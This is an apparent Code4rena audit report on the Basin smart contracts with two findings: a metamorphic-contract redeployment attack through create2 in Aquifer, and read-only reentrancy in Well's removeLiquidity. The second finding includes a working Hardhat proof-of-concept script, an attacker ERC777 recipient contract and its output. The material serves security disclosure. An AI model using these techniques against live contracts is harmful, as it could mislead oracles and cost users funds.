Basin - a3yip6's results

Lines of code

https://github.com/code-423n4/2023-07-basin/blob/9403cf973e95ef7219622dbbe2a08396af90b64c/src/Aquifer.sol#L40-L52

Vulnerability details

The Aquifer contract supports multiple ways to deploy the Well contracts. More specifically, it supports create and create2 at the same time. However, such a feature is vulnerable to the Metamorphic Contract Attack. That is to say, attackers are capable to deploy two different Well implementations in the same address, which is recorded by mapping(address => address) wellImplementations;.

Although the Aquifer contract is claimed to be permissionless, it should not break the immutability. Thus, we consider it a medium-risk bug.

Impact

The real implementation of the Well contract listed in Aquifer may be inconsistent with the expectation of users. Even worse, users may suffer from unexpected loss due to the change of contract logic.

Proof of Concept

// the Aquifer contract
function boreWell(
    address implementation,
    bytes calldata immutableData,
    bytes calldata initFunctionCall,
    bytes32 salt
) external nonReentrant returns (address well) {
    if (immutableData.length > 0) {
        if (salt != bytes32(0)) {
            well = implementation.cloneDeterministic(immutableData, salt);
        } else {
            well = implementation.clone(immutableData);
        }
    } else {
        if (salt != bytes32(0)) {
            well = implementation.cloneDeterministic(salt);
        } else {
            well = implementation.clone();
        }
    }
    ...
}

// the cloneDeterministic() function
function cloneDeterministic(address implementation, bytes32 salt)
        internal
        returns (address instance)
    {
        /// @solidity memory-safe-assembly
        assembly {
            mstore(0x21, 0x5af43d3d93803e602a57fd5bf3)
            mstore(0x14, implementation)
            mstore(0x00, 0x602c3d8160093d39f33d3d3d3d363d3d37363d73)
            instance := create2(0, 0x0c, 0x35, salt)
            // Restore the part of the free memory pointer that has been overwritten.
            mstore(0x21, 0)
            // If `instance` is zero, revert.
            if iszero(instance) {
                // Store the function selector of `DeploymentFailed()`.
                mstore(0x00, 0x30116425)
                // Revert with (offset, size).
                revert(0x1c, 0x04)
            }
        }
    }

As shown in the above code, attackers are capable to deploy new Well contracts through cloneDeterministic multiple times with the same input parameter implementation. And the cloneDeterministic function utilizes the following bytecode to deploy a new Well contract: 0x602c3d8160093d39f33d3d3d3d363d3d37363d73 + implementation + 5af43d3d93803e602a57fd5bf3. That is to say, if the address (i.e., implementation) remains the same, then the address of the deployed Well contract also remains the same.

Normally, EVM would revert if anyone re-deploy a contract to the same address. However, if the implementation contract contains self-destruct logic, then attackers can re-deploy a new contract with different bytecode to the same address through cloneDeterministic.

Here is how we attack:

• Assuming Bob deploys Well_Implementation1 to address 1.
• Bob invoke Aquifer:boreWell with address 1 as the parameter to get a newly deployed Well1 contract at address 2.
• Bob invokes the self-destruct logic in the Well_Implementation1 contract and re-deploy a new contract to address 1 through Metamorphic Contract, namely Well_Implementation2.
• Bob invoke Aquifer:boreWell with address 1 again. Since the input of create2 remains the same, a new contract is deployed to address 2 with new logic from Well_Implementation2.

Recommended Mitigation Steps

Remove the cloneDeterministic feature, leaving the clone functionality only.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-07-basin/blob/c1b72d4e372a6246e0efbd57b47fb4cbb5d77062/src/Well.sol#L460-L483 https://github.com/code-423n4/2023-07-basin/blob/c1b72d4e372a6246e0efbd57b47fb4cbb5d77062/src/Well.sol#L379-L388

Vulnerability details

The Well function is vulnerable to read-only reentrancy. More specifically, the Well:removeLiquidity function does not strictly follow the Checks-Effects-Interactions pattern. Although previous auditors have reported this bug, the Well contract has not been properly fixed and remains vulnerable to read-only reentrancy. Through the getShiftOut function, attackers can read incorrect values and further result in risks.

Note that this situation also exists in other functionality of Well (e.g., swap, add liquidity).

Impact

Although this is not an immediate risk to basin itself, this project is planning to support on-chain oracle features. Under such circumstances, we consider this a high-risk bug.

Proof of Concept

In the following test, the admin (i.e., attackee) first deploys all necessary contracts. More specifically, the Well contract is deployed with two ERC777 tokens. Then the attacker performs the attack by the following steps:

• The attacker first adds liquidity to the Well pool.
• The attacker removes liquidity and set the recipient as a contract with the ERC777 fallback function.
• The recipient receives the ERC777 token and reenters the getShiftOut function.
• After transferring the first token and before transferring the second token, the return value of getShiftOutf is incorrect.

The following script is the proof-of-concept test based on hardhat.

const { expect } = require("chai");
const { ethers } = require("hardhat");

async function main() {
    const [admin, attacker] = await ethers.getSigners();

    //
    // deploy necessary contract for mockwell
    //
    const METFactory = await ethers.getContractFactory("MockERC777Token");
    const mToken0 = await METFactory.connect(attacker).deploy();
    const mToken1 = await METFactory.connect(attacker).deploy();

    const AquiferFactory = await ethers.getContractFactory("Aquifer");
    const Aquifer = await AquiferFactory.connect(admin).deploy();
    
    const CPFactory = await ethers.getContractFactory("ConstantProduct");
    const wellFunction = await CPFactory.connect(admin).deploy();

    const PumpFactory = await ethers.getContractFactory("MPump");
    const pump = await PumpFactory.connect(admin).deploy();

    const wellParam = { target: wellFunction.getAddress(), data: "0xff" }
    let pumps = [{ target: pump.getAddress(), data: "0xff" }]
    const WellFactory = await ethers.getContractFactory("Well");
    const WellImplementation = await WellFactory.connect(admin).deploy();

    const MWellDeployerFactory = await ethers.getContractFactory("MWellDeployer");
    const MWellDeployer = await MWellDeployerFactory.connect(admin).deploy();
    let [immutableData, initData] = await MWellDeployer.mEncodeWellDeploymentData(
        Aquifer.getAddress(),
        [mToken0.getAddress(), mToken1.getAddress()], 
        wellParam,
        pumps);

    await Aquifer.connect(admin).boreWell(
            WellImplementation.getAddress(),
            immutableData,
            initData,
            "0x00000000000000000000000000000000000000000000000000000000000000ff",);
    const event = await Aquifer.queryFilter("BoreWell");
    const mWellAddr = event[0].args[0];
    const mWell = WellFactory.attach(mWellAddr);

    //
    // deploy recipient with fallback
    //
    const mFRFactory = await ethers.getContractFactory("MockFalbackRecipient");
    const mFT = await mFRFactory.connect(attacker).deploy();
    await mFT.connect(attacker).init(mToken0.getAddress(), mToken1.getAddress(), mWell.getAddress());

    //
    // ensure attack has enough balance
    //
    expect(await mToken0.balanceOf(attacker.address)).not.to.eq(0);
    expect(await mToken1.balanceOf(attacker.address)).not.to.eq(0);
    await mToken0.connect(attacker).approve(mWell.getAddress(), await mToken0.balanceOf(attacker.address));
    await mToken1.connect(attacker).approve(mWell.getAddress(), await mToken1.balanceOf(attacker.address));

    //
    // perform attack (add liquidity -> remove liquidity)
    //
    console.log("Before adding liquidity, mWell.balanceOf: ", await mWell.balanceOf(attacker.address));
    await mWell.connect(attacker).addLiquidity(
        [await mToken0.balanceOf(attacker.address), await mToken1.balanceOf(attacker.address)],
        0,
        attacker.address,
        "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
    console.log("After adding liquidity, mWell.balanceOf: ", await mWell.balanceOf(attacker.address));
    console.log("Before removing liquidity, getShiftOut(token0): ", await mWell.getShiftOut(mToken0.getAddress()));
    console.log("Before removing liquidity, getShiftOut(token1): ", await mWell.getShiftOut(mToken1.getAddress()));

    await mWell.connect(attacker).removeLiquidity(
        1000000,
        [0, 0],
        mFT.getAddress(),
        "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
    console.log("After removing liquidity, getShiftOut(token0): ", await mWell.getShiftOut(mToken0.getAddress()));
    console.log("After removing liquidity, getShiftOut(token1): ", await mWell.getShiftOut(mToken1.getAddress()));
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});

The following script is the ERC777 recipient contract:

/**
 * SPDX-License-Identifier: MIT
 */
 
pragma solidity ^0.8.17;

import "hardhat/console.sol";
import "oz/utils/introspection/IERC1820Registry.sol";
import "src/interfaces/IWell.sol";
import "oz/token/ERC20/IERC20.sol";

contract MockFalbackRecipient {
    address public targetERC0;
    address public targetERC1;
    address public well;

    IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
    bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");

    function init(address _targetERC0, address _targetERC1, address _well) external {
        targetERC0 = _targetERC0;
        targetERC1 = _targetERC1;
        well = _well;
        _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
    }

    fallback() external payable {
        console.log("here!!!");
        uint256 result0 = IWell(well).getShiftOut(IERC20(targetERC0));
        console.log(result0);
        uint256 result1 = IWell(well).getShiftOut(IERC20(targetERC1));
        console.log(result1);
    }

    function tokensReceived(
        address operator,
        address from,
        address to,
        uint256 amount,
        bytes calldata userData,
        bytes calldata operatorData
    ) external {
        console.log("we are performing read-only reentrancy here!!!");
        uint256 result0 = IWell(well).getShiftOut(IERC20(targetERC0));
        console.log("During removing liquidity, getShiftOut(token0): ", result0);
        uint256 result1 = IWell(well).getShiftOut(IERC20(targetERC1));
        console.log("During removing liquidity, getShiftOut(token1): ", result1);
    }
}

Through the previous scripts, we can obtain the following result in the command shell.

Before adding liquidity, mWell.balanceOf:  0n
After adding liquidity, mWell.balanceOf:  20000000000000000000000n
Before removing liquidity, getShiftOut(token0):  0n
Before removing liquidity, getShiftOut(token1):  0n
we are performing read-only reentrancy here!!!
During removing liquidity, getShiftOut(token0):  500000
During removing liquidity, getShiftOut(token1):  500000
we are performing read-only reentrancy here!!!
During removing liquidity, getShiftOut(token0):  0
During removing liquidity, getShiftOut(token1):  0
After removing liquidity, getShiftOut(token0):  0n
After removing liquidity, getShiftOut(token1):  0n

Recommended Mitigation Steps

Fix the relevant function by updating reserves before making external calls.

Assessed type

Reentrancy